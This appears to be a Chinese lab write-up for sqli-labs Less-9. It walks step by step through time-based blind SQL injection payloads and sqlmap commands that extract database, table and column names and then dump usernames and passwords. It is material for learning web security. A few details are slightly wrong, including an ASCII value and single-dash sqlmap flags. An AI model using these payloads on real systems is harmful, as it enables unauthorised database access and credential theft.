lesson9基于GET提交的单引号闭合的时间盲注

这一关不管输入什么，页面都是显示You are in......因此只能使用时间盲注

一、手工注入

1.判断注入点

判断注入类型是否为数字型
?id=1 and 1=1 and sleep(5)
?id=1 and 1=2 and sleep(5)

如果是数字型那么页面会延迟5秒，但是发现页面并没有延迟，所以不是数字型。

判断注入类型是否为字符型
?id=1' and 1=1 and sleep(5)--+
?id=1' and 1=2 and sleep(5)--+

发现1=1的时候页面延迟了，1=2的时候页面没有延迟。所以是单引号闭合

2.爆字段个数

?id=1' and sleep(5) order by 3--+

发现order by 3页面延迟了，order by4页面没有延迟，所以字段个数是3

3.猜测数据库长度

?id=1' and if(length(database())>7,sleep(5),1)--+

语句意思是如果数据库长度大于7，页面就会延迟5秒，反之不延迟。发现大于8的时候没有延迟，可判定数据库长度为8

4.猜测数据库名称

?id=1' and if(ascii(substr(database(),1,1))>114,sleep(5),1)--+

发现数据库名字第一个字符大于114时页面延迟了，大于115没有延迟，得到第一个字符是s，其他字符也是依葫芦画瓢一个个试，得到数据库名字为security。

5.猜测表名长度

?id=1' and if(length((select table_name from information_schema.tables where table_schema=database()  limit 3,1))>4,sleep(5),1)--+

发现第4个表长度大于4页面延迟，大于5页面正常，可知第4个表长5

6.猜测表名名称

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116,sleep(5),1)--+

得到第四个表第一个字符大于116页面延迟，大于117页面正常，得到第一个字符ascii码为17对应字符u，以此类推得到users表名

7.猜测列名长度

?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1))>7,sleep(5),1)--+

得到第二个列名长度大于7页面延迟，大于8页面正常，以此类推推出所有列名长度。

8.猜测列名名称

?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116,sleep(5),1)--+

发现第二个列名第一个字符大于116页面延迟，大于117页面正常，得到第一个字符为u，以此类推得到第二个和第三个列名为username和password

9.猜测数据长度

?id=1' and if(length((select password from users limit 0,1))>3,sleep(5),1)--+

这里以password的数据内容为例，看到第一个密码长度大于3页面延迟，大于4页面正常。得到第一个密码长4，以此类推得到所有密码和用户名长度。

10.猜测数据内容

?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))>67,sleep(5),1)--+

得到第一个密码第一个字符为D，以此类推得到所有账号和密码。

二、SQLMap注入

由于手工注入步骤过多，猜测内容过于繁琐，因此使用SQLMap等脚本工具注入更加方便

1.直接运行

sqlmap -u http://xxxxxxx.xxx/Less-9/?id=1

告诉了我们注入参数为id，注入类型是布尔盲注（这里的布尔盲注的payload我也没看懂为啥可以用，如果有师傅知道的话还望指导一下）和时间盲注

2.查看当前数据库

sqlmap -u http://xxxxxxx.xxx/Less-9/?id=1 -current-db

3.查看表名

sqlmap -u http://xxxxxxx.xxx/Less-9/?id=1 -D security -tables

4.查看列名

sqlmap -u http://xxxxxxx.xxx/Less-9/?id=1 -D security -T users -columns

5.查看字段内容

sqlmap -u http://xxxxxxx.xxx/Less-9/?id=1 -D security -T users -C username,password --dump